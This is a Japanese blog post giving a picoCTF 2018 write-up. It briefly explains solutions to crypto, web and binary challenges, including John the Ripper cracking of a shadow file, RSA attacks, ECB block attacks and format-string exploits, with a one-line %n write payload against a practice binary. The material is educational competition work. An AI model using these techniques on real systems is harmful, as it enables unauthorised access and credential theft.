ぺんぎんさんのおうち

日本語勉強中のドイツ産ペンギンがいろんなことを書く

picoCTF2018 write-up

Team KHKOで @makotom0330_2 と参加した(無理やり誘ったのかもしれない).

strings/grepで解ける問題であったり, 今多忙期なので少しだけもしくはたまにwrite-upを更新する(最初は全部書こうとしてたけど面倒になった). 順番は適当. 点数書いてたり書いてなかったりするのも適当.

解いたもの

  • Crypto Warmup 1 (Crypto 75)
  • Crypto Warmup 2 (Crypto 75)
  • HEEEEEEERE'S Johnny! (Crypto 100)
  • caesar cipher 1 (Crypto 150)
  • blaise's cipher (Crypto 200)
  • caesar cipher 2 (Crypto 250)
  • Safe RSA (Crypto 250)
  • Super Safe RSA 1 (Crypto 350)
  • Super Safe RSA 2 (Crypto 425)
  • Super Safe RSA 3 (Crypto 600)
  • rsa-madlibs (Crypto 250)
  • SpyFi (Crypto 300)
  • grep 1
  • net cat
  • strings
  • pipe
  • grep 2
  • Aca-Shell-A
  • buffer overflow 0
  • buffer overflow 1
  • buffer overflow 2
  • environ
  • hex editor
  • ssh-keyz
  • what base is this?
  • you can't see me
  • Truly an Artist
  • store
  • learn gdb
  • now you don't
  • Reading Between the Eyes
  • Recovering From the Snap
  • Irish Name Repo
  • admin panel
  • assembly-0
  • assembly-1
  • assembly-2
  • absolutely relative
  • Radix's Terminal
  • Buttons
  • The Vault
  • What's My Name?
  • in out error
  • echooo
  • Logon
  • be-quick-or-be-dead-1
  • leak-me
  • Secret Agent
  • authenticate



HEEEEEEERE'S Johnny!

passwd, shadowが配布されているのと問題名からJohn the Ripperを使うのだと予測.

$ unshadow passwd shadow > hoge

john the ripperが扱える形式に変換してから

$ john --single hoge

environ

$ echo $FLAG がダメで, 問題名から環境変数が確認できれば良いことが予想できるので
$ python -c "import os; print(os.environ)" | grep picoCTF

調べによると
$ printenv によって定義されている環境変数を全て出力できるらしい.

Safe RSA

パラメータを見るとeが小さいことがわかる(c = me < n)のでe乗根取って終わり.

Super Safe RSA 1

65537回アクセスしても解けそうだったけど時間がかかりそうなので諦めて素因数分解まわしてたら解けた.

Super Safe RSA 2

Wieners Attack

Super Safe RSA 3

同じ問題がykm_cryptoにある. 終わり.

SpyFi

AES-ECBで同じ平文のブロックは暗号化すると同じになるという性質を利用して頑張った.
今回で一番疲れた. こういうのをサクッと解けるようになりたい.

Buttons

とりあえずボタンがあるので推していくと一昔前のニコ動で釣りに使われてた動画が出てくる. 懐かしい気持ちになりつつ, Referrerで判断してるのかなと思い最初のページの <form action='button1.php ...<form action='button2.php ... に変えてボタンクリックするとフラグが出た.
curlでReferrer指定しても確かうまくいかなかったので, もしかすると違うかもしれない.

echooo

Format String Attackであることがわかっているので, まずは適当に %x %x %x ... を入力してみるとちゃんと値がリークできていることが確認できた.
ソースコードから, スタックのどこかにフラグの文字列があるはずなので狙いを定めて %n$sでフラグ奪取.

in out error

バイナリを実行してみると適当な文字列がめちゃくちゃな並びで表示される.
問題名からstdoutとstderrが一緒に表示されていることが予想できたので, リダイレクトを使って切り分けてあげるとフラグが確認できた. stderrがフラグを出力しているので

$ ./in-out-error 2> /home/ykm11/flag; cat /home/ykm11/flag

ちなみにstdoutとして出てくるのは歌詞で, 検索すると Buttons で再生される動画のものだった. 正直好き.

store

実行してみると所持金をどうにかして増やせばフラグを得ることがわかった.
所持金の更新の計算は

所持金 = 所持金 - 1000*個数

になっているため, 1000*個数 を負数にすれば増やすことができる.
が, 0以下の入力ができないため別の方法を考えると 1000*個数の値を持つ変数に対してオーバーフローさせる方法が思いつく.
大きな値を入力すれば最終的に億万長者になれるためフラグが得られる.

authenticate

printf(buf); からFormat String Attackが使える.
問題コードを読むと入力が"no"を含んでいない限りread_flag()が呼ばれ, ここでは if (!authenticated) によってチェックを行なわれていて, authenticatedは大域変数として0初期化されている.
どうにかしてFSAでauthenticatedを0以外にできないだろうか..

%n を使えばそれまでに入力されたバイト数を任意のメモリに書き込めそうだ.
1. 大域変数authenticated のアドレスを得る
2. 得られたアドレスに対してFSAで書き換える

この手順でフラグが得られそう.

gdbを使って処理を追うとread_flag()内で

mov    eax,ds:0x804a04c

0x804a04cがおそらくauthenticatedのアドレスなので確認してみる.

gdb-peda$ x 0x804a04c
0x804a04c <authenticated>:    0x00000000

$ echo -en 'L\xa0\x04\x08 %11$n' | ./auth

これで if(!authenticated) がパスされてフラグが得られる.